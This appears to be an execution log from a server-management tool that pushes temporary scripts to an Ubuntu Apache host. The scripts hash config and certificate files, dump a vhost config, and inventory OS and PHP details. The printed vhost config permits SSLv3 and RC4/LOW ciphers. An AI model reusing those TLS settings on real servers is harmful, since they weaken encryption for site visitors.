            match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
            if match is not None:
                filename = match.group(1)
                filename = normalize_path(folder, filename, True)
                generate_hash(filename, folder)

def normalize_path(basepath, relativepath, isFile):
    if relativepath[:1] == '/':
        return relativepath
    if isFile:
        basename = os.path.basename(relativepath)
        relativepath = os.path.dirname(relativepath)
    else:
        basename = ''

    basepath = basepath.split('/')
    relativepath = relativepath.split('/')
    for element in relativepath:
        if element == '..':
            basepath.pop()
        elif element != '.' and element != '':
            basepath.append(element)
    basepath = '/'.join(basepath)
    if basename != '':
        basepath += '/' + basename
    return basepath

def generate_hash(filename, folder):
    if os.path.islink(filename):
        target = os.readlink(filename)
        target = normalize_path(folder, target, True)
        payload = 'link(' + filename + ')= ' + target + "\n"
        gz.write(payload.encode('cp437'))
        return
    content = open(filename).read()
    filehash = hashlib.md5()
    filehash.update(content.encode('cp437'))
    payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
    gz.write(payload.encode('cp437'))
    lower_content = content.lower()
    if lower_content.find('sslcertificatefile') > -1:
        generate_hash_certificate(content, folder)
    return

def scan_folder(folder):
    if os.path.isdir(folder):
        filelist = glob.glob(folder + '/*.conf')
        for filename in filelist:
            generate_hash(filename, folder)
    return

try:
	APACHE_ROOT = '/etc/apache2'
	scan_folder(APACHE_ROOT)
	scan_folder(APACHE_ROOT + '/conf.d')
	scan_folder(APACHE_ROOT + '/conf.modules.d')

	scan_folder(APACHE_ROOT + '/sites-available')
	scan_folder(APACHE_ROOT + '/sites-enabled')
	scan_folder(APACHE_ROOT + '/hosts.d')

finally:
    gz.close()

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-31 11:31:29: 

chmod 755 /tmp/pkp926939; /tmp/pkp926939; rm /tmp/pkp926939

2026-03-31 11:31:29: 
2026-03-31 11:31:29: 

PUT: /tmp/pkp170021

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-available/pjy_hub_us.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-31 11:31:29: 

chmod 755 /tmp/pkp170021; /tmp/pkp170021; rm /tmp/pkp170021

2026-03-31 11:31:29: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/pjy_hub_us.conf	1254

<VirtualHost *:80>
    ServerName	hub.pjy.us
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/pjy_hub
    <Directory /var/www/pjy_hub>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/hub_access.log combined
    ErrorLog	/var/log/apache2/pjy/hub_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	hub.pjy.us
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt
    DocumentRoot	/var/www/pjy_hub
    <Directory /var/www/pjy_hub>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/hub_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/hub_secure_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>







(gzipped output)


MD5(/etc/apache2/ports.conf)= e0eadfd8b9250d90d5c3004171eb78f6
MD5(/etc/apache2/apache2.conf)= 354c9e6d2b88a0a3e0548f853840674c
MD5(/etc/apache2/sites-available/hostz_aries_org.conf)= 8eab3470a2365227821ae5b538c45e8a
MD5(/etc/ssl/certs/13385323b2ba6119b083bb652d070eb4.crt)= cacfbf8718a1e8092d40e0522c355800
MD5(/etc/apache2/sites-available/anitayoung_www_net.conf)= e8d22e10ba04c74b51c7fbb43b012dd7
MD5(/etc/ssl/certs/6784aa2fd84151497bb640fc77814c2a.crt)= 4dd430c852cb312a2a0de5c9b5439c91
MD5(/etc/apache2/sites-available/hopeinstoughton_cdn1_org.conf)= 88fd3d003dada60987cdbd7d39bad481
MD5(/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0.crt)= af5483a80eb95f0483b52cc474fc3b1d
MD5(/etc/apache2/sites-available/kjvdictionary_store_org.conf)= 7be1769f090285813fd3154415d15485
MD5(/etc/ssl/certs/82027fd7e0abdd79a359ee4b0d03e041.crt)= a64e07eff4b031bd3bda384f8bb50dc8
MD5(/etc/apache2/sites-available/pjy_www_us.conf)= ed3a548e48e9fe4e5d4db5f4e654ee32
MD5(/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt)= 531bf3132b99f9f8f817cb9a05aca6c1
MD5(/etc/apache2/sites-available/pjy_pkp_us.conf)= f2501308d37d029c24d810be5def3b1d
MD5(/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt)= 531bf3132b99f9f8f817cb9a05aca6c1
MD5(/etc/apache2/sites-available/patientapps_www_co.conf)= 8d6a0b016721c9b2001cf6b52f74ec22
MD5(/etc/ssl/certs/d18ebcef2c53b2fff4c3f6f80595db99.crt)= 4f687838cb93eb85f6c2335f764d02fc
MD5(/etc/apache2/sites-available/stoughton_www_link.conf)= 9e11afd365c093fc111ce973d5b42650
MD5(/etc/ssl/certs/b6da5a1697afd075a41d62112290ebf0.crt)= 0a727746bd36ccdb032c4d9e25a4423b
MD5(/etc/apache2/sites-available/hopeinstoughton_www_org.conf)= 69ac44f7d01057dfd0d60b6d70e2cdbd
MD5(/etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7.crt)= 7305f50b93f8ff30ac5a1c90430ac35c
MD5(/etc/apache2/sites-available/kjvdictionary_www_org.conf)= b97b6131af323b016d7b28fb2960ff1c
MD5(/etc/ssl/certs/00f32caf8ea0fbe0d1b245ad2ff4822f.crt)= 891c32524516668ef2093790f319b0b5
MD5(/etc/apache2/sites-available/theyoungdesigners_www_com.conf)= a6c0931f6394176c7cc5f85ea7e080aa
MD5(/etc/ssl/certs/2deaf2826866ca8d93ba58b86ef107a6.crt)= 140ce8b1698a959dd31d7da56c0e3616
MD5(/etc/apache2/sites-available/theyoungdesigners_www_us.conf)= 7505b75b736acb52194d008b5b045b70
MD5(/etc/ssl/certs/f13c10b0bf992120e8f0bf3f4c84b2c5.crt)= 1884a8f36c31ee2fe34d68fda8e1ef12
MD5(/etc/apache2/sites-available/hostz_www_org.conf)= c5e9527303d808c3c8946eda24b85b7e
MD5(/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d.crt)= ca7678f2a07f10efe5476971a42ea280
MD5(/etc/apache2/sites-available/default-ssl.conf)= 58d23841f0ea37f6c3c1f1c7bda9c6d7
MD5(/etc/ssl/certs/ssl-cert-snakeoil.pem)= c4be37ab3f632c6df143b6808775a788
MD5(/etc/apache2/sites-available/000-default.conf)= 45ed6a20d7ff26b62d873585bc1b42ca
MD5(/etc/apache2/sites-available/hopeinstoughton_books_org.conf)= 2bd2e3cb453122a2de2bf54ece3f682e
MD5(/etc/apache2/sites-available/patientapps_support_com.conf)= 74d4c6b7f2d9c5ecbb1485b92ab36316
MD5(/etc/ssl/certs/4510c05efeebdbfa45526af095977c06.crt)= ba3f870f17f1ce4c5dca012dbf66fc9c
MD5(/etc/apache2/sites-available/pjy_eggshell_us.conf)= a6ab88bd5bd1f4ec0f149c30ce4839a5
MD5(/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt)= 531bf3132b99f9f8f817cb9a05aca6c1
MD5(/etc/apache2/sites-available/hopeinstoughton_vote_org.conf)= ddcd4e32e22447924e6ec8a823b87668
MD5(/etc/ssl/certs/277b862c622fb9fa5d441c9959ff5ee3.crt)= 2ed21345e273eb18be8f198117b96edb
MD5(/etc/apache2/sites-available/pjy_hub_us.conf)= eff391e5f417ba902fcbde0386043fb1
MD5(/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt)= 531bf3132b99f9f8f817cb9a05aca6c1
MD5(/etc/apache2/sites-available/patientapps_beta_net.conf)= 1a89b4e364d9427aaa4b6a4f3ff98b06
MD5(/etc/ssl/certs/8f796e4f4515bc3385e2df3b120b1cc8)= ad029145e2cd857e56527eec590ecd9d
MD5(/etc/apache2/sites-available/nagios.conf)= cec9ae02b1fd0656575f8567dc09d651
link(/etc/apache2/sites-enabled/hostz_aries_org.conf)= /etc/apache2/sites-available/hostz_aries_org.conf
link(/etc/apache2/sites-enabled/anitayoung_www_net.conf)= /etc/apache2/sites-available/anitayoung_www_net.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf)= /etc/apache2/sites-available/hopeinstoughton_cdn1_org.conf
link(/etc/apache2/sites-enabled/kjvdictionary_store_org.conf)= /etc/apache2/sites-available/kjvdictionary_store_org.conf
link(/etc/apache2/sites-enabled/pjy_www_us.conf)= /etc/apache2/sites-available/pjy_www_us.conf
link(/etc/apache2/sites-enabled/pjy_pkp_us.conf)= /etc/apache2/sites-available/pjy_pkp_us.conf
link(/etc/apache2/sites-enabled/patientapps_www_co.conf)= /etc/apache2/sites-available/patientapps_www_co.conf
link(/etc/apache2/sites-enabled/stoughton_www_link.conf)= /etc/apache2/sites-available/stoughton_www_link.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf)= /etc/apache2/sites-available/hopeinstoughton_www_org.conf
link(/etc/apache2/sites-enabled/kjvdictionary_www_org.conf)= /etc/apache2/sites-available/kjvdictionary_www_org.conf
link(/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf)= /etc/apache2/sites-available/theyoungdesigners_www_com.conf
link(/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf)= /etc/apache2/sites-available/theyoungdesigners_www_us.conf
link(/etc/apache2/sites-enabled/hostz_www_org.conf)= /etc/apache2/sites-available/hostz_www_org.conf
link(/etc/apache2/sites-enabled/000-default.conf)= /etc/apache2/sites-available/000-default.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf)= /etc/apache2/sites-available/hopeinstoughton_books_org.conf
link(/etc/apache2/sites-enabled/patientapps_support_com.conf)= /etc/apache2/sites-available/patientapps_support_com.conf
link(/etc/apache2/sites-enabled/pjy_eggshell_us.conf)= /etc/apache2/sites-available/pjy_eggshell_us.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf)= /etc/apache2/sites-available/hopeinstoughton_vote_org.conf
link(/etc/apache2/sites-enabled/pjy_hub_us.conf)= /etc/apache2/sites-available/pjy_hub_us.conf
link(/etc/apache2/sites-enabled/patientapps_beta_net.conf)= /etc/apache2/sites-available/patientapps_beta_net.conf
link(/etc/apache2/sites-enabled/nagios.conf)= /etc/apache2/sites-available/nagios.conf




STDERR:
/tmp/pkp926939:12: SyntaxWarning: invalid escape sequence '\s'
  match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)


2026-03-31 11:34:20: Establishing a connection
2026-03-31 11:34:31: Establishing a connection
2026-03-31 11:34:31: Performing Server Status
2026-03-31 11:34:31: 

PUT: /tmp/pkp628927

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}
show_hostname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	hostname >> $temp_file
	echo >> $temp_file
}
show_arc() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -m >> $temp_file
	echo >> $temp_file
}
show_uname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -r -s >> $temp_file
	echo >> $temp_file
}

if [ -f /etc/centos-release ]; then
	show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
	show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
	show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
	show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
	show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
	show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
	show_file /proc/swaps
fi

show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'

gzip -cn9 $temp_file
rm $temp_file

2026-03-31 11:34:31: 

chmod 755 /tmp/pkp628927; /tmp/pkp628927; rm /tmp/pkp628927

2026-03-31 11:34:31: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/debian_version
trixie/sid

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.4 LTS"

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/os-release
PRETTY_NAME="Ubuntu 24.04.4 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.4 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/proc/swaps
Filename				Type		Size		Used		Priority

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
hostname
aries

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
architecture
x86_64

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
uname
Linux 6.8.0-106-generic



2026-03-31 11:34:31: 

PUT: /tmp/pkp529535

#!/bin/bash

# get service version
apache_output() {
	sub_file=$(mktemp)
	script -q -c "$1 -V" $sub_file
	cat $sub_file
	rm $sub_file
}
apache_output2() {
	$1 -V
}

apachectl_output() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
	file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
	pid=`cat $file`;
	cat $temp_file
	rm $temp_file

# also get user/group
	echo pid: $pid

	if [ -d "/etc/apache2/sites-available" ]; then
		echo available=sites-available
	elif [ -d "/etc/apache2/hosts.d" ]; then
		echo available=hosts.d
	elif [ -d "/etc/apache2/conf.d" ]; then
		echo available=conf.d
	fi
	
	echo [ps]
	ps up $pid
}

apachectl_enabled() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_MODULES > $temp_file 2>&1
	echo [modules]
	cat $temp_file
	rm $temp_file
}

if [[ "$OSTYPE" == "darwin"* ]]; then
	echo [apache2]
	apache_output2 /usr/sbin/httpd

elif [ -e "/usr/sbin/httpd" ]; then
	echo [httpd]
	apache_output /usr/sbin/httpd
 
    if [ -d "/etc/httpd/conf.d" ]; then
		echo available=conf.d
	fi
fi

if [ -e "/usr/sbin/apache2" ]; then
	echo [apache2]
	source /etc/apache2/envvars
	apache_output2 /usr/sbin/apache2
	apachectl_output
	apachectl_enabled
fi


2026-03-31 11:34:31: 

chmod 755 /tmp/pkp529535; /tmp/pkp529535; rm /tmp/pkp529535

2026-03-31 11:34:32: 


[apache2]
Server version: Apache/2.4.58 (Ubuntu)
Server built:   2026-03-05T17:31:54
Server's Module Magic Number: 20120211:129
Server loaded:  APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Compiled using: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Architecture:   64-bit
Server MPM:     prefork
  threaded:     no
    forked:     yes (variable process count)
Server compiled with....
 -D APR_HAS_SENDFILE
 -D APR_HAS_MMAP
 -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
 -D APR_USE_PROC_PTHREAD_SERIALIZE
 -D APR_USE_PTHREAD_SERIALIZE
 -D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
 -D APR_HAS_OTHER_CHILD
 -D AP_HAVE_RELIABLE_PIPED_LOGS
 -D DYNAMIC_MODULE_LIMIT=256
 -D HTTPD_ROOT="/etc/apache2"
 -D SUEXEC_BIN="/usr/lib/apache2/suexec"
 -D DEFAULT_PIDLOG="/var/run/apache2.pid"
 -D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
 -D DEFAULT_ERRORLOG="logs/error_log"
 -D AP_TYPES_CONFIG_FILE="mime.types"
 -D SERVER_CONFIG_FILE="apache2.conf"
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 446159
available=sites-available
[ps]
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root      446159  0.0  0.9 261228 39484 ?        Ss   Mar24   1:17 /usr/sbin/apache2 -k start
[modules]
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
Loaded Modules:
 core_module (static)
 so_module (static)
 watchdog_module (static)
 http_module (static)
 log_config_module (static)
 logio_module (static)
 version_module (static)
 unixd_module (static)
 access_compat_module (shared)
 alias_module (shared)
 auth_basic_module (shared)
 authn_core_module (shared)
 authn_file_module (shared)
 authz_core_module (shared)
 authz_host_module (shared)
 authz_user_module (shared)
 autoindex_module (shared)
 cgi_module (shared)
 deflate_module (shared)
 dir_module (shared)
 env_module (shared)
 filter_module (shared)
 headers_module (shared)
 mime_module (shared)
 mpm_prefork_module (shared)
 negotiation_module (shared)
 php_module (shared)
 proxy_module (shared)
 proxy_fcgi_module (shared)
 proxy_wstunnel_module (shared)
 reqtimeout_module (shared)
 rewrite_module (shared)
 setenvif_module (shared)
 socache_shmcb_module (shared)
 ssl_module (shared)
 status_module (shared)


2026-03-31 11:34:32: 

SERVER INFO (php_model): array (
  'debian' => 1,
  'redhat' => 0,
  'name' => 'aries',
  'arch' => 'x86_64',
  'raspbian' => 0,
  'osdesc' => 'Ubuntu 24.04.4 LTS',
  'rel' => '24.04.4',
  'mac' => 0,
  'distro' => 'ubuntu',
  'web' => 
  array (
    'apache2' => 
    array (
      'conf' => 'apache2.conf',
      'config' => '/etc/apache2',
      'user' => 'www-data',
      'group' => 'www-data',
      'available' => 'sites-available',
      'running' => 1,
    ),
    'modules' => 
    array (
      0 => 'core_module',
      1 => 'so_module',
      2 => 'watchdog_module',
      3 => 'http_module',
      4 => 'log_config_module',
      5 => 'logio_module',
      6 => 'version_module',
      7 => 'unixd_module',
      8 => 'access_compat_module',
      9 => 'alias_module',
      10 => 'auth_basic_module',
      11 => 'authn_core_module',
      12 => 'authn_file_module',
      13 => 'authz_core_module',
      14 => 'authz_host_module',
      15 => 'authz_user_module',
      16 => 'autoindex_module',
      17 => 'cgi_module',
      18 => 'deflate_module',
      19 => 'dir_module',
      20 => 'env_module',
      21 => 'filter_module',
      22 => 'headers_module',
      23 => 'mime_module',
      24 => 'mpm_prefork_module',
      25 => 'negotiation_module',
      26 => 'php_module',
      27 => 'proxy_module',
      28 => 'proxy_fcgi_module',
      29 => 'proxy_wstunnel_module',
      30 => 'reqtimeout_module',
      31 => 'rewrite_module',
      32 => 'setenvif_module',
      33 => 'socache_shmcb_module',
      34 => 'ssl_module',
      35 => 'status_module',
    ),
  ),
)


2026-03-31 11:34:32: 

PUT: /tmp/pkp701719

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}

# show available php versions
if [ -f "/usr/bin/apt-get" ]; then
	if ! grep -q -r ondrej /etc/apt/sources.list.d/*; then
		if [ ! -f "/usr/bin/add-apt-repository" ]; then
			apt-get -y install software-properties-common > $temp_file 2>&1
		fi
		apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 4F4EA0AAE5267A6C  > $temp_file 2>&1
		add-apt-repository -y ppa:ondrej/php > $temp_file 2>&1
		apt-get update > $temp_file 2>&1
	fi
	echo $BOUNDARY >> $temp_file
	echo apt-get >> $temp_file
	apt-cache search --names-only '^php[0-9].[0-9]$' >> $temp_file
	echo >> $temp_file
fi

gzip -cn9 $temp_file
rm $temp_file


2026-03-31 11:34:32: 

chmod 755 /tmp/pkp701719; /tmp/pkp701719; rm /tmp/pkp701719

2026-03-31 11:34:32: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
apt-get
php5.6 - server-side, HTML-embedded scripting language (metapackage)
php7.0 - server-side, HTML-embedded scripting language (metapackage)
php7.1 - server-side, HTML-embedded scripting language (metapackage)
php7.2 - server-side, HTML-embedded scripting language (metapackage)
php7.3 - server-side, HTML-embedded scripting language (metapackage)
php7.4 - server-side, HTML-embedded scripting language (metapackage)
php8.0 - server-side, HTML-embedded scripting language (metapackage)
php8.1 - server-side, HTML-embedded scripting language (metapackage)
php8.2 - server-side, HTML-embedded scripting language (metapackage)
php8.3 - server-side, HTML-embedded scripting language (metapackage)
php8.4 - server-side, HTML-embedded scripting language (metapackage)
php8.5 - server-side, HTML-embedded scripting language (metapackage)



2026-03-31 11:34:32: 

PUT: /tmp/pkp494226

#!/bin/bash
	dest=`dpkg -L php7.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi



2026-03-31 11:34:32: 

chmod 755 /tmp/pkp494226; /tmp/pkp494226; rm /tmp/pkp494226

2026-03-31 11:34:33: 


[php8.1]
php=/usr/bin/php8.1
fpm=/etc/php/8.1/fpm/pool.d
version=8.1.34
[php8.2]
php=/usr/bin/php8.2
fpm=/etc/php/8.2/fpm/pool.d
version=8.2.30
[php8.3]
php=/usr/bin/php8.3
fpm=
version=8.3.30
[php8.4]
php=/usr/bin/php8.4
fpm=
version=8.4.18




STDERR:
PHP Warning:  PHP Startup: xapian: Unable to initialize module
Module compiled with module API=20210902
PHP    compiled with module API=20220829
These options need to match
 in Unknown on line 0


2026-03-31 11:34:33: 

PUT: /tmp/pkp284928

#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def collectCfgFiles(filename):
        config = []
        f = open(filename, 'r')
        file = f.readlines()
        for v in file:
                v = v.rstrip()
                if v != '' and v[0] != '#':
                        p = v.find('=')
                        if p > -1:
                                key = v[:p].strip()
                                value=v[p+1:].strip()
                                if key == 'cfg_file':
                                        config.append(value)
        f.close()
        return config

def generate_hash(filename, type = 'MD5'):
        digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
